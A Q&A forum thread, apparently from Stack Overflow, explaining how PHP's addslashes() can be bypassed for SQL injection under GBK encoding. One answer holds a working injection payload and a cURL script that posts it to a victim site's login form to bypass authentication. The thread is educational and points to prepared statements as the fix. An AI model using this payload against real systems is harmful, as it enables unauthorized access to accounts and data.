Examples of SQL Injections through addslashes()?
Solution 1
Well, here's the article you want.
Basically, the way the attack works is by getting addslashes()
to put a backslash in the middle of a multibyte character such that the backslash loses its meaning by being part of a valid multibyte sequence.
The general caveat from the article:
This type of attack is possible with any character encoding where there is a valid multi-byte character that ends in
0x5c
, becauseaddslashes()
can be tricked into creating a valid multi-byte character instead of escaping the single quote that follows. UTF-8 does not fit this description.
Solution 2
Chris Shiflett clearly explains with the bellow example, That will of-course work if you try it when using GBK encoding in your database. Even I tried it, this proves, there are chances for sql injection, even though they are very less, but someone with good knowledge and capability can easily inject. Here is an Example...
<?php
$mysql = array();
$db = mysqli_init();
$db->real_connect('localhost', 'myuser', 'mypass', 'mydb');
/* SQL Injection Example */
$_POST['username'] = chr(0xbf) . chr(0x27) . ' OR username = username /*';
$_POST['password'] = 'guess';
$mysql['username'] = addslashes($_POST['username']);
$mysql['password'] = addslashes($_POST['password']);
$sql = "SELECT * FROM users
WHERE username = '{$mysql['username']}'
AND password = '{$mysql['password']}'";
$result = $db->query($sql);
if ($result->num_rows) {
/* Success */
} else {
/* Failure */
}
?>
Although the use of addslashes() or magic_quotes_gpc would normally be considered as somewhat secure, the use of GBK would render them near useless. The following PHP cURL script would be able to make use of the injection, I hope this will help you a bit more to understand:
<?php
$url = "http://www.victimsite.com/login.php";
$ref = "http://www.victimsite.com/index.php";
$session = "PHPSESSID=abcdef01234567890abcdef01";
$ch = curl_init();
curl_setopt( $ch, CURLOPT_URL, $url );
curl_setopt( $ch, CURLOPT_REFERER, $ref );
curl_setopt( $ch, CURLOPT_RETURNTRANSFER, TRUE );
curl_setopt( $ch, CURLOPT_COOKIE, $session );
curl_setopt( $ch, CURLOPT_POST, TRUE );
curl_setopt( $ch, CURLOPT_POSTFIELDS, "username=" . chr(0xbf) . chr(0x27) .
"OR 1=1/*&submit=1" );
$data = curl_exec( $ch );
print( $data );
curl_close( $ch );
?>
Solution 3
As an addition for the readers of the answers here: This MySQL bug has already been fixed:)
Also, it is always good practice to use prepared statements. It is the most exploit-free way you can fire queries (and, in several use cases the most performant). And it would have saved you from this flaw.
Solution 4
mysql_real_escape_string() versus Prepared Statements clearly explains mysql_real_escape_string() isn't 100% secure.
using mysql_set_charset('GBK') to replace mysql_query("SET CHARACTER SET 'GBK'"), the mysql_real_escape_string() can be 100% secure.
Comments
-
Nathan H almost 2 years
In PHP, I know that
mysql_real_escape
is much safer than usingaddslashes
. However, I could not find an example of a situation whereaddslashes
would let an SQL Injection happen.Can anyone give some examples?
-
elcuco almost 15 yearsHow about magic quotes? I have seen site who just puts $POST['password'] into the SQL query, and it does not fail for them. Can you explain why does it work?
-
chaos almost 15 yearsMagic quotes are a whole 'nother topic; see stackoverflow.com/questions/220437/magic-quotes-in-php. Presumably the example you give 'works' because magic quotes are on. Among the many reasons not to use magic quotes is that magic quotes uses the same logic as addslashes(), so has the same vulnerability described here.
-
rationalboss over 11 yearsCan you mention your source on this bug fix? Thanks!